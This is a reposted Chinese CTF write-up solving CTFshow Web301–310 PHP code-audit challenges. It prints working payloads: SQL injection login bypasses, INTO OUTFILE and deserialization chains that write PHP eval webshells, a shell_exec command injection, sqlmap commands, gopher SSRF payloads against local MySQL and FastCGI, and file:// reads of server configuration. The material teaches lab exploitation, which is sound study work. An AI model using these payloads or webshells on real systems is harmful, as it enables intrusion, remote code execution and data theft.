当前位置: 首页 > news >正文

[PHP之代码审计篇]CTFshowWeb入门 Web301~Web310

Web301

image-20250615220242415

在源代码中 以下一处存在sql语句

image-20250615213849593

方法一:联合查询注入

在联合查询并不存在得数据时,联合查询就会构造一个虚拟得数据就相当于构造了一个虚拟账户,可以使用这个账户登录。

平常我们联合注入得时候一般是这样得payload:?id=1 and 1=2 union select 1,database()#。会给两个回显位1 数据库名称。这个1是哪里来的呢,就是...select 1...1`创建得虚拟数据1

同时在同文件的第17行if(!strcasecmp($userpwd,$row['sds_password']))

strcasecmp是进行比较字符串,满足条件就能登录,如果str1<str2返回<0;如果str1>str2返回>0;相等返回0

账号:-1' union select 1#
密码:1

image-20250615214529360

方法二:sql写shell

账号:-1' union select "<?php eval($_POST['cmd']);?>" into outfile "/var/www/html/shell.php"#
密码:1

image-20250615215000525

方法三:非预期

bp抓包访问index.php

image-20250615215539044

方法四:利用strcasecmp数组绕过

userid=admin&userpwd[]=1

根据前面的写shell,我们可以phpinfo()一下看一下php版本(7.3.22)

image-20250615220035741

strcasecmp 的参数为数组时:

  • PHP 7.4 及以下:函数会返回 NULL,在条件判断中被视为 false
  • PHP 8.0 及以上:会触发 E_WARNING 并返回 0(视为相等)。

所以可以利用数组进行绕过

Web302

根据题目

image-20250615220821433

方法一:依旧可以用sql写shell

方法二:联合注入

但需要稍微改一下payload

image-20250615222205255

md5(md5('1'.md5(base64_encode("sds")))."sds")

账号:-1' union select 'd9c77c4e454869d5d8da3b4be79694d3'#
密码:1

方法三:依旧是非预期

image-20250615222520756

Web303(insert注入)

审计源码后,发现在dptadd.php中提示了注入点

image-20250901215430959

但是需要我们带着cookie进行访问,所以需要先登录

在checklogin.php中

image-20250901215513933

结合fun.php

我们可以看出来账号和密码都是admin进行登录

image-20250901215650785

然后去访问dptadd.php 会给我们一个返回语句

结合源码

$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
$result=$mysqli->query($sql);
echo $sql;

无过滤的insert注入

然后可以手工注入也可以直接进行sqlmap跑

python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" -p dpt_name --batch -D sds -T sds_fl9g -C flag --dump

image-20250901220639242

手工注入:

查表名
dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#查字段
dpt_name=1',sds_address=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g');#查值
dpt_name=1',sds_address=(select flag from sds_fl9g)#

可以在dpt.php下看到

image-20250901220859647

Web304(有过滤的insert注入)

相比上一题增加了全局waf

function sds_waf($str){return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但似乎环境并没有做过滤

依旧能用上面一样的打法

python sqlmap.py -r "C:\Users\26387\Desktop\1.txt" --batch -p dpt_name -D sds -T sds_flaag -C flag --dump

image-20250901222145674

Web305(反序列化file_put_contents写入文件)

相比前面一题在fun.php中过滤很多,也就不能用之前的方法了。但他新增了class.php

class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __destruct(){file_put_contents($this->username, $this->password);}
}

同时在checklogin.php中调用了这个

image-20250901223500548

所以这题是反序列化漏洞

<?php
class user{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}
}// 构造写入webshell的对象
$malicious = new user('shell.php', '<?php @eval($_POST["cmd"]);?>');
echo urlencode(serialize($malicious));
?>O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A9%3A%22shell.php%22%3Bs%3A8%3A%22password%22%3Bs%3A29%3A%22%3C%3Fphp+%40eval%28%24_POST%5B%22cmd%22%5D%29%3B%3F%3E%22%3B%7D

在登陆的时候抓包,并在Cookie后面加上user和我们的反序列化串

image-20250901224104077

然后用蚁剑连接

image-20250901224054693

但是发现没有找到flag

但是在连接上的蚁剑中conn.php给了我们数据库的一些信息

image-20250901224357463

然后回到shell,右键的数据操作

image-20250901224455076

image-20250901224559370

找到flag位置,点击执行

image-20250901224638803

image-20250901224656377

ctfshow{c8cade8c-a2d1-485b-a0ab-1320d1cc6dca}

Web306

审计源码

这次反序列化的注入点在index.php下

image-20250902111735476

然后去看dao.php

可以看到存在__destruct()方法,那么就是从这入手

image-20250902111828217

调用了class.php下的log类的close方法

image-20250902111902995

然后在这个方法中存在file_put_contents()也就是写入函数

<?php
class dao{private $config;private $conn;public function __construct(){$this->conn=new log();}
}class log{public $title="shell.php";public $info='<?php @eval($_POST["cmd"]);?>';public function close(){file_put_contents($this->title, $this->info);}}
$dao=new dao();
echo base64_encode((serialize($dao)));TzozOiJkYW8iOjI6e3M6MTE6IgBkYW8AY29uZmlnIjtOO3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo5OiJzaGVsbC5waHAiO3M6NDoiaW5mbyI7czoyOToiPD9waHAgQGV2YWwoJF9QT1NUWyJjbWQiXSk7Pz4iO319

这里要注意抓包后 将url改成index.php来触发反序列化

image-20250902112040952

然后蚁剑连接shell.php

image-20250902112134738

Web307

经过代码审计,可以发现在controller/service/dao/class.php下依旧有file_put_contents()

image-20250902152202357

调用的是closelog(),但很可惜我们并不能从其他地方找到调用这个函数的地方,所以只能另寻其路了。

在同目录的dao.php下我们找到了一个危险函数shell_exec()并且是clearCache()方法

image-20250902153455161

那么就去追溯一下他

我们可以看到在logout.php中对他进行了调用

logout.php
$service = unserialize(base64_decode($_COOKIE['service']));
if($service){$service->clearCache();
}

可以看到存在反序列化入口

在config.php下

image-20250902153516146

存在cache_dir属性且是public,那么只需要给$cache_dir进行赋值,写入木马

<?phpclass dao{private $config;public function __construct(){$this->config=new config();}public function  clearCache(){shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');}}class config{public $cache_dir = ';echo  "<?php eval(\$_POST[1]);?>" > /var/www/html/shell.php;';}$a = new dao();echo base64_encode(serialize($a));?>TzozOiJkYW8iOjE6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czo5OiJjYWNoZV9kaXIiO3M6NjE6IjtlY2hvICAiPD9waHAgZXZhbChcJF9QT1NUWzFdKTs/PiIgPiAvdmFyL3d3dy9odG1sL3NoZWxsLnBocDsiO319

image-20250902155910408

image-20250902155136095

再去用蚁剑连接即可

Web308(SSRF打mysql)

这题主要在fun.php中多了checkUpdate()这么一段

image-20250902162539230

很明显就是打SSRF了

image-20250902162651285

在dao.php下的checkVersion()调用了这个类

然后checkVersion()在index.php下和service.php下进行了调用,同时index.php包含了service.php,service.php中进行了new dao()

还有最主要的就是mysql是无密码的,可以通过是SSRF打MySQL

image-20250902164334793

那么链子就来了

index.php->service.php->dao.php->config.php

我们先去用gopher生成一个payload

python2 gopherus.py --exploit mysql
root
select "<?php eval($_POST['cmd']);?>" into outfile '/var/www/html/shell.php';gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4e%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%3b%01%00%00%00%01

POC

<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4e%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%27%3b%01%00%00%00%01';
}
$dao=new dao();
echo base64_encode(serialize($dao));TzozOiJkYW8iOjI6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo3ODc6ImdvcGhlcjovLzEyNy4wLjAuMTozMzA2L18lYTMlMDAlMDAlMDElODUlYTYlZmYlMDElMDAlMDAlMDAlMDElMjElMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlMDAlNzIlNmYlNmYlNzQlMDAlMDAlNmQlNzklNzMlNzElNmMlNWYlNmUlNjElNzQlNjklNzYlNjUlNWYlNzAlNjElNzMlNzMlNzclNmYlNzIlNjQlMDAlNjYlMDMlNWYlNmYlNzMlMDUlNGMlNjklNmUlNzUlNzglMGMlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNmUlNjElNmQlNjUlMDglNmMlNjklNjIlNmQlNzklNzMlNzElNmMlMDQlNWYlNzAlNjklNjQlMDUlMzIlMzclMzIlMzUlMzUlMGYlNWYlNjMlNmMlNjklNjUlNmUlNzQlNWYlNzYlNjUlNzIlNzMlNjklNmYlNmUlMDYlMzUlMmUlMzclMmUlMzIlMzIlMDklNWYlNzAlNmMlNjElNzQlNjYlNmYlNzIlNmQlMDYlNzglMzglMzYlNWYlMzYlMzQlMGMlNzAlNzIlNmYlNjclNzIlNjElNmQlNWYlNmUlNjElNmQlNjUlMDUlNmQlNzklNzMlNzElNmMlNGUlMDAlMDAlMDAlMDMlNzMlNjUlNmMlNjUlNjMlNzQlMjAlMjIlM2MlM2YlNzAlNjglNzAlMjAlNjUlNzYlNjElNmMlMjglMjQlNWYlNTAlNGYlNTMlNTQlNWIlMjclNjMlNmQlNjQlMjclNWQlMjklM2IlM2YlM2UlMjIlMjAlNjklNmUlNzQlNmYlMjAlNmYlNzUlNzQlNjYlNjklNmMlNjUlMjAlMjclMmYlNzYlNjElNzIlMmYlNzclNzclNzclMmYlNjglNzQlNmQlNmMlMmYlNzMlNjglNjUlNmMlNmMlMmUlNzAlNjglNzAlMjclM2IlMDElMDAlMDAlMDAlMDEiO31zOjk6IgBkYW8AY29ubiI7Tjt9

然后抓包访问index.php

image-20250902164014955

访问/shell.php,并用蚁剑连接

image-20250902164056096

Web309(SSRF打FastCGI)

这题题目说了mysql有密码,那就不能用上面的方法了

但是我们可以用SSRF打FastCGI

python2 gopherus.py --exploit fastcgi
index.php
lsgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
补充一点:"我们为什么要输入一个index.php"FastCGI 协议在处理请求时,需要知道要 “执行” 哪个 PHP 脚本文件。为了让构造的 FastCGI 请求能被服务器正常识别、处理,得指定一个服务器上实际存在的 PHP 文件路径 。因为只有存在的文件,服务器才会去调度 PHP - FPM 等组件解析执行,这样后续通过 FastCGI 注入恶意指令(比如执行系统命令 `cat /flagfile` )的操作,才有可能在对应上下文里生效。要是不清楚目标具体有哪些 PHP 文件,按提示直接回车用工具默认的文件(一般也是常见的如 index.php 这类)就行,目的就是让 FastCGI 请求能关联到真实存在的脚本,让攻击流程能往下走,最终借助这个 “合法” 脚本的执行上下文,去执行我们注入的恶意命令(如读取 flag 文件 )。
<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH54%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%006%04%00%3C%3Fphp%20system%28%27ls%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
$dao=new dao();
echo base64_encode(serialize($dao));

image-20250903133849933

<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27cat%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}
$dao=new dao();
echo base64_encode(serialize($dao));TzozOiJkYW8iOjI6e3M6MTE6IgBkYW8AY29uZmlnIjtPOjY6ImNvbmZpZyI6MTp7czoxMDoidXBkYXRlX3VybCI7czo1NzU6ImdvcGhlcjovLzEyNy4wLjAuMTo5MDAwL18lMDElMDElMDAlMDElMDAlMDglMDAlMDAlMDAlMDElMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlRjYlMDYlMDAlMEYlMTBTRVJWRVJfU09GVFdBUkVnbyUyMC8lMjBmY2dpY2xpZW50JTIwJTBCJTA5UkVNT1RFX0FERFIxMjcuMC4wLjElMEYlMDhTRVJWRVJfUFJPVE9DT0xIVFRQLzEuMSUwRSUwMkNPTlRFTlRfTEVOR1RINTglMEUlMDRSRVFVRVNUX01FVEhPRFBPU1QlMDlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUlMjAlM0QlMjBPbiUwQWRpc2FibGVfZnVuY3Rpb25zJTIwJTNEJTIwJTBBYXV0b19wcmVwZW5kX2ZpbGUlMjAlM0QlMjBwaHAlM0EvL2lucHV0JTBGJTA5U0NSSVBUX0ZJTEVOQU1FaW5kZXgucGhwJTBEJTAxRE9DVU1FTlRfUk9PVC8lMDAlMDAlMDAlMDAlMDAlMDAlMDElMDQlMDAlMDElMDAlMDAlMDAlMDAlMDElMDUlMDAlMDElMDAlM0ElMDQlMDAlM0MlM0ZwaHAlMjBzeXN0ZW0lMjglMjdjYXQlMjBmJTJBJTI3JTI5JTNCZGllJTI4JTI3LS0tLS1NYWRlLWJ5LVNweUQzci0tLS0tJTBBJTI3JTI5JTNCJTNGJTNFJTAwJTAwJTAwJTAwIjt9czo5OiIAZGFvAGNvbm4iO047fQ==

image-20250903134052660

Web310(文件读取)

源码没修改。我们使用上一题的打法,但找不到flag,我们使用find命令找flag,发现在/var/flag下

find / -name "*flag*" 2>/dev/null

image-20250903141910869

我们尝试读取/var/flag,但发现读不了

image-20250903142042191

看了别的师傅的姿势,是读nginx.conf,读这个配置文件(至于这个文件的路径,也是可以通过find命令找到)

<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'file:///etc/nginx/nginx.conf';
}
$dao=new dao();
echo base64_encode(serialize($dao));

可以得到

server {listen       4476;server_name  localhost;root         /var/flag;index index.html;proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;}

每一个http块都可以包含多个server块,而每个server块就相当于一台虚拟主机,它内部可有多台主机联合提供服务,一起对外提供在逻辑上关系密切的一组服务

nginx可以通过fastcgi对接php,所以nginx的配置文件中也会有一些重要信息,此外还有端口转发等,一些重要的信息配置文件中可能都会有

<?php
class dao{private $config;private $conn;public function __construct(){$this->config=new config();}public function checkVersion(){return checkUpdate($this->config->update_url);}
}
class config{public $update_url = 'http://127.0.0.1:4476';
}
$dao=new dao();
echo base64_encode(serialize($dao));

image-20250903142624811

http://www.hskmm.com/?act=detail&tid=1614

相关文章:

  • SAP取税率
  • mysql 导入sql,从入门到精通
  • Kubernetes Pod
  • selenium+browsermobproxy抓POST请求
  • 算法-Dijkstra算法-02 - jack
  • typescript面试题
  • LIN通信协议入门
  • 答题赚现金程序介绍
  • 番茄社交营销商城系统介绍
  • framework中按压power键屏幕熄灭及亮起时流程
  • 标书智能体(二)——生成标书提纲代码+提示词
  • 易客云会员系统相关介绍
  • 线段树模版
  • 设计模式-责任链模式
  • Linux开机启动设置全攻略
  • 实用指南:Grafana - 监控磁盘使用率Variables使用
  • iphone可以用windows系统吗
  • iphone怎么变windows系统
  • P4694 [PA 2013] Raper
  • 共享内存使用举例
  • 【QML】解决 Qt C++ 正则表达式中文匹配问题
  • 产品包装盒这样制作,再也不用到处求人啦!超简单的上手方法分享!
  • FunctionAI 图像生成:简化从灵感到 API 调用的每一步
  • ​​电力系统的“慧眼”:深入解析电流互感器的核心用途​​
  • C# 内存泄漏
  • 2025.9记录
  • AQS
  • TVBox中的Python接口解读
  • 一、CPU的功能和基本结构
  • DevOps时代的知识管理革命:如何构建智能化的研发决策中枢